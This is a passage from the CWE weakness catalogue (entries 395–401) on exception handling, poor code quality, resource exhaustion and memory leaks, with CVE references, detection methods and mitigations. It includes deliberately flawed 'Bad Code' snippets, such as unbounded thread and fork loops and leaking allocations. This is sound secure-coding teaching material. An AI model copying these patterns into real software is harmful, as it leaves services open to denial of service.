#### Alter execution logic

### Observed Examples

Reference	Description
CVE-2000-0536	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
CVE-2001-0910	Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
CVE-2002-2124	Unchecked return code from recv() leads to infinite loop.
CVE-2004-1395	Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit.
CVE-2004-2371	Game server doesn't check return values for functions that handle text strings and associated size values.
CVE-2005-1267	Resultant infinite loop when function call returns -1 value.
CVE-2005-1858	Memory not properly cleared when read() function call returns fewer bytes than expected.
CVE-2005-2553	Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		389	Error Conditions, Return Values, Status Codes		699 670
ChildOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling		711 1119
ChildOf		754	Improper Check for Unusual or Exceptional Conditions		1000 1143
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition		888 1376

### Relationship Notes

Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Unexpected Status Code or Return Value
Software Fault Patterns	SFP4	Unchecked Status Condition

## CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Weakness ID: 395 (Weakness Base)

Status: Draft

### Description

#### Summary

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

#### Extended Description

Programmers typically catch NullPointerException under three circumstances:

The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.

The program explicitly throws a NullPointerException to signal an error condition.

The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- Java

## Common Consequences

### Availability

**DoS:** resource consumption (CPU)

## Detection Methods

### Automated Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

### Dynamic Analysis with manual results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Framework-based Fuzzer

### Manual Static Analysis - Source Code

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

### Automated Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

### Architecture / Design Review

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

## Demonstrative Examples

The following code mistakenly catches a NullPointerException.

### Java Example:

*Bad Code*

```
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}
```

## Potential Mitigations

### Architecture and Design

#### Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		388	Error Handling	700	669
ChildOf		389	Error Conditions, Return Values, Status Codes	699	670
ChildOf		705	Incorrect Control Flow Scoping	1000	1105
ChildOf		755	Improper Handling of Exceptional Conditions	1000	1150
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	844	1294
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	1376

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Catching NullPointerException
CERT Java Secure Coding	ERR08-J	Do not catch NullPointerException or any of its ancestors

## CWE-396: Declaration of Catch for Generic Exception

Weakness ID: 396 (Weakness Base)

Status: Draft

### Description

#### Summary

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

#### Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- C++
- Java
- .NET

#### Common Consequences

##### Non-Repudiation

##### Other

##### Hide activities

##### Alter execution logic

#### Demonstrative Examples

The following code excerpt handles three types of exceptions in an identical fashion.

##### Java Example:

Good Code

```
try {
    doExchange();
}
catch (IOException e) {
    logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
    logger.error("doExchange failed", e);
}
catch (SQLException e) {
    logger.error("doExchange failed", e);
}
```









At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

*Bad Code*

```
try {
    doExchange();
}
catch (Exception e) {
    logger.error("doExchange failed", e);
}
```

However, if `doExchange()` is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from `RuntimeException` such as `ClassCastException`, and `NullPointerException`, which is not the programmer's intent.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		221	Information Loss or Omission		1000 413
ChildOf		388	Error Handling		<b>700</b> 669
ChildOf		389	Error Conditions, Return Values, Status Codes		<b>699</b> 670
ChildOf		705	Incorrect Control Flow Scoping		<b>1000</b> 1105
ChildOf		755	Improper Handling of Exceptional Conditions		1000 1150
ChildOf		960	SFP Secondary Cluster: Ambiguous Exception Type		<b>888</b> 1375

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Overly-Broad Catch Block
Software Fault Patterns	SFP5	Ambiguous Exception Type

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 9: Catching Exceptions." Page 157. McGraw-Hill. 2010.

## CWE-397: Declaration of Throws for Generic Exception

Weakness ID: 397 (*Weakness Base*)

Status: Draft

### Description

#### Summary

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

#### Extended Description

Declaring a method to throw `Exception` or `Throwable` makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C++
- Java
- .NET

### Common Consequences

**Non-Repudiation**

**Other**

**Hide activities**

**Alter execution logic**

**Demonstrative Examples**

The following method throws three types of exceptions.

**Java Example:**

*Good Code*

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
  ...
}
```

While it might seem tidier to write

*Bad Code*

```
public void doExchange() throws Exception {
  ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		221	Information Loss or Omission	1000	413
ChildOf		388	Error Handling	<b>700</b>	669
ChildOf		389	Error Conditions, Return Values, Status Codes	<b>699</b>	670
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1102
ChildOf		705	Incorrect Control Flow Scoping	<b>1000</b>	1105
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf		960	SFP Secondary Cluster: Ambiguous Exception Type	<b>888</b>	1375

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Overly-Broad Throws Declaration
CERT Java Secure Coding	ERR07-J	Do not throw RuntimeException, Exception, or Throwable
Software Fault Patterns	SFP5	Ambiguous Exception Type

CWE-398: Indicator of Poor Code Quality

## CWE-398: Indicator of Poor Code Quality

**Weakness ID:** 398 (*Weakness Class*) **Status:** Draft

**Description**

**Summary**

The code has features that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained.

**Extended Description**

Programs are more likely to be secure when good development practices are followed. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

**Other**

**Quality degradation**

**Detection Methods**

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

## Automated Static Analysis - Binary / Bytecode

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Binary / Bytecode Quality Analysis

Compare binary / bytecode to application permission manifest

## Dynamic Analysis with manual results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Automated Monitored Execution

## Automated Static Analysis

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Permission Manifest Analysis

## Automated Static Analysis - Source Code

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source Code Quality Analyzer

Cost effective for partial coverage:

Warning Flags

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

## Dynamic Analysis with automated results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

## Manual Static Analysis - Source Code

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

## Relationships

Nature	Type	ID	Name	<input type="checkbox"/>	Page
ChildOf		18	Source Code	<input checked="" type="checkbox"/>	699 17
ChildOf		710	Coding Standards Violation	<input type="checkbox"/>	1000 1109

Nature	Type	ID	Name	V	Page
ChildOf	C	978	SFP Secondary Cluster: Implementation	888	1383
ParentOf	V	107	Struts: Unused Validation Form	1000	202
ParentOf	V	110	Struts: Validator Without Form Field	1000	206
ParentOf	C	399	Resource Management Errors	699	686
ParentOf	B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	700	694
ParentOf	B	404	Improper Resource Shutdown or Release	699	699
ParentOf	V	415	Double Free	700	716
ParentOf	B	416	Use After Free	700	719
ParentOf	V	457	Use of Uninitialized Variable	700	773
ParentOf	B	474	Use of Function with Inconsistent Implementations	699	797
				700	
ParentOf	B	475	Undefined Behavior for Input to API	699	797
ParentOf	B	476	NULL Pointer Dereference	699	798
				700	
ParentOf	B	477	Use of Obsolete Functions	699	802
				700	
ParentOf	V	478	Missing Default Case in Switch Statement	699	804
ParentOf	V	483	Incorrect Block Delimitation	699	815
ParentOf	B	484	Omitted Break Statement in Switch	699	817
				1000	
ParentOf	V	546	Suspicious Comment	699	885
				1000	
ParentOf	V	547	Use of Hard-coded, Security-relevant Constants	699	885
				1000	
ParentOf	V	561	Dead Code	699	895
				1000	
ParentOf	B	562	Return of Stack Variable Address	699	898
				1000	
ParentOf	V	563	Assignment to Variable without Use ('Unused Variable')	699	899
				1000	
ParentOf	C	569	Expression Issues	699	906
ParentOf	V	585	Empty Synchronized Block	699	925
				1000	
ParentOf	V	586	Explicit Call to Finalize()	699	926
ParentOf	V	617	Reachable Assertion	699	964
ParentOf	B	676	Use of Potentially Dangerous Function	699	1044
				1000	
MemberOf	V	700	Seven Pernicious Kingdoms	700	1081

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Code Quality

## CWE-399: Resource Management Errors

Category ID: 399 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are related to improper management of system resources.

### Applicable Platforms

## Languages

- All

## Detection Methods

### Dynamic Analysis with automated results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

### Dynamic Analysis with manual results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Fuzz Tester
- Framework-based Fuzzer
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Manual Source Code Review (not inspections)

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source

### Automated Static Analysis - Source Code

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

### Architecture / Design Review

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

## Relationships

Nature	Type	ID	Name	CV	Page
ChildOf		398	Indicator of Poor Code Quality	699	684
ParentOf		400	Uncontrolled Resource Consumption ('Resource Exhaustion')	699	688
ParentOf		401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	699	694
ParentOf		402	Transmission of Private Resources into a New Sphere ('Resource Leak')	699	697
ParentOf		404	Improper Resource Shutdown or Release	699	699
ParentOf		405	Asymmetric Resource Consumption (Amplification)	699	703
ParentOf		410	Insufficient Resource Pool	699	709
ParentOf		411	Resource Locking Problems	699	710
ParentOf		415	Double Free	699	716
ParentOf		416	Use After Free	699	719

Nature	Type	ID	Name	V	Page
ParentOf	C	417	Channel and Path Errors	699	722
ParentOf	V	568	finalize() Method Without super.finalize()	699	905
ParentOf	V	590	Free of Memory not on the Heap	699	930
MemberOf	V	635	Weaknesses Used by NVD	635	983
ParentOf	V	761	Free of Pointer not at Start of Buffer	699	1159
ParentOf	V	762	Mismatched Memory Management Routines	699	1162
ParentOf	B	763	Release of Invalid Pointer or Reference	699	1164

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource Management Errors

## CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')

Weakness ID: 400 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume more resources than intended.

#### Extended Description

Limited resources include memory, file system storage, database connection pool entries, or CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

Resource exhaustion problems have at least two common causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for releasing the resource

#### Time of Introduction

- Operation
- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Availability

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: resource consumption (other)

The most common result of resource exhaustion is denial of service. The software may slow down, crash due to unhandled errors, or lock out legitimate users.

##### Access Control

Other

##### Bypass protection mechanism

Other

In some cases it may be possible to force the software to "fail open" in the event of resource exhaustion. The state of the software -- and possibly the security functionality - may then be compromised.

**Likelihood of Exploit**

Medium to High

**Detection Methods****Automated Static Analysis****Limited**

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

**Automated Dynamic Analysis****Moderate**

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame.

**Fuzzing****Opportunistic**

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

**Demonstrative Examples****Example 1:****Java Example:***Bad Code*

```
class Worker implements Executor {
    ...
    public void execute(Runnable r) {
        try {
            ...
        }
        catch (InterruptedException ie) {
            // postpone response
            Thread.currentThread().interrupt();
        }
    }
    public Worker(Channel ch, int nworkers) {
        ...
    }
    protected void activate() {
        Runnable loop = new Runnable() {
            public void run() {
                try {
                    for (;;) {
                        Runnable r = ...;
                        r.run();
                    }
                }
                catch (InterruptedException ie) {
                    ...
                }
            }
        };
        new Thread(loop).start();
    }
}
```



There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

### Example 2:

This code allocates a socket and forks each time it receives a new connection.

#### C/C++ Example:

*Bad Code*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

### Example 3:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

#### C/C++ Example:

*Bad Code*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

### Example 4:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

**C/C++ Example:**

Bad Code

```

/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}

```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

**C/C++ Example:**

Good Code

```

unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}

```

**Example 5:**

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

**Java Example:**

Bad Code

```

public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}

```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

**Java Example:**

Good Code

```

public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {

```

```

try {
    ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
    int counter = 0;
    boolean hasConnections = true;
    while (hasConnections) {
        hasConnections = checkForMoreConnections();
        Socket client = serverSocket.accept();
        Thread t = new Thread(new ClientSocketThread(client));
        t.setName(client.getInetAddress().getHostName() + ":" + counter++);
        ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
        pool.execute(t);
    }
    serverSocket.close();
} catch (IOException ex) {...}
}

```

### Observed Examples

Reference	Description
CVE-2006-1173	Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion.
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.
CVE-2008-2121	TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack.
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.
CVE-2009-1928	Malformed request triggers uncontrolled recursion, leading to stack exhaustion.
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets.
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation.
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion.
CVE-2009-2874	Product allows attackers to cause a crash via a large number of connections.

### Potential Mitigations

#### Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

**Architecture and Design**

Mitigation of resource exhaustion attacks requires that the target system either:  
 recognizes the attack and denies that user further access for a given amount of time, or  
 uniformly throttles all requests in order to make it more difficult to consume resources more  
 quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the  
 use of the system by a particular valid user. If the attacker impersonates the valid user, he may be  
 able to prevent the user from accessing the server in question.

The second solution is simply difficult to effectively institute -- and even when properly done, it  
 does not provide a full solution. It simply makes the attack require more resources on the part of  
 the attacker.

**Architecture and Design**

Ensure that protocols have specific limits of scale placed on them.

**Implementation**

Ensure that all failures in resource allocation place the system into a safe posture.

**Other Notes**

Database queries that take a long time to process are good DoS targets. An attacker would have  
 to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep  
 up. This would effectively prevent authorized users from using the site at all. Resources can be  
 exploited simply by ensuring that the target machine must do much more work and consume more  
 resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so  
 named for a tool developed by Dugsong). These attacks flooded a switch with random IP and  
 MAC address combinations, therefore exhausting the switch's cache, which held the information  
 of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch  
 would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all  
 ports and allowing for basic sniffing attacks.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	399	Resource Management Errors	699	686
ChildOf	G	664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1120
ChildOf	C	858	CERT Java Secure Coding Section 13 - Serialization (SER)	844	1297
ChildOf	C	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1298
ChildOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1386
CanFollow	B	410	<i>Insufficient Resource Pool</i>	699 1000	709
ParentOf	C	769	<i>File Descriptor Exhaustion</i>	699	1174
ParentOf	B	770	<i>Allocation of Resources Without Limits or Throttling</i>	699 1000	1175
ParentOf	B	771	<i>Missing Reference to Active Allocated Resource</i>	1000	1182
ParentOf	B	772	<i>Missing Release of Resource after Effective Lifetime</i>	1000	1183
ParentOf	B	779	<i>Logging of Excessive Data</i>	699 1000	1194
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319
ParentOf	B	920	<i>Improper Restriction of Power Consumption</i>	699 1000	1347

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Resource exhaustion (file descriptor, disk space, sockets, ...)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
WASC	10		Denial of Service
WASC	41		XML Attribute Blowup

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT Java Secure Coding	SER12-J		Avoid memory and resource leaks during serialization
CERT Java Secure Coding	MSC05-J		Do not exhaust heap space
Software Fault Patterns	SFP13		Unrestricted Consumption

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
2	Inducing Account Lockout	
82	Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))	
147	XML Ping of the Death	
197	XML Entity Expansion	

### References

Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). November 2008. < <http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf> >.

D.J. Bernstein. "Resource exhaustion". < <http://cr.yp.to/docs/resources.html> >.

Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. < <http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against Denial of Service Attacks" Page 517. 2nd Edition. Microsoft. 2002.

## CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak')

Weakness ID: 401 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

#### Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.

### Alternate Terms

#### Memory Leak

### Terminology Notes

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Modes of Introduction

Memory leaks have two common and sometimes overlapping causes:

Error conditions and other exceptional circumstances

Confusion over which part of the program is responsible for freeing the memory

### Common Consequences

**Availability****DoS: crash / exit / restart****DoS: instability****DoS: resource consumption (CPU)****DoS: resource consumption (memory)**

Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.

**Likelihood of Exploit**

Medium

**Demonstrative Examples****Example 1:**

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

**C Example:***Bad Code*

```
char* getBlock(int fd) {
    char* buf = (char*) malloc(BLOCK_SIZE);
    if (!buf) {
        return NULL;
    }
    if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
        return NULL;
    }
    return buf;
}
```

**Example 2:**

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

**C Example:***Bad Code*

```
bar connection(){
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) //thread 1
        //On a connection
        foo=connection(); //thread 2
        //When the connection ends
        endConnection(foo)
}
```

**Observed Examples**

Reference	Description
CVE-2001-0136	Memory leak via a series of the same command.
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.
CVE-2004-0222	Memory leak via unknown manipulations as part of protocol test suite.
CVE-2004-0427	Memory leak when counter variable is not decremented.
CVE-2005-3119	Memory leak because function does not free() an element of a data structure.
CVE-2005-3181	Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code.

**Potential Mitigations**

## Implementation

### Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [R.401.2].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as `std::auto_ptr` (defined by ISO/IEC 14882:2003), `std::shared_ptr` and `std::weak_ptr` (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

### Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.










### Architecture and Design

#### Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

This is not a complete solution as it is not 100% effective.

### Relationships

Nature	Type	ID	Name	W	Page
ChildOf		398	Indicator of Poor Code Quality	<b>700</b>	684
ChildOf		399	Resource Management Errors	<b>699</b>	686
ChildOf		633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	<b>711</b>	1120
ChildOf		772	Missing Release of Resource after Effective Lifetime	<b>1000</b>	1183
ChildOf		861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	<b>844</b>	1298
ChildOf		982	SFP Secondary Cluster: Failure to Release Resource	<b>888</b>	1385
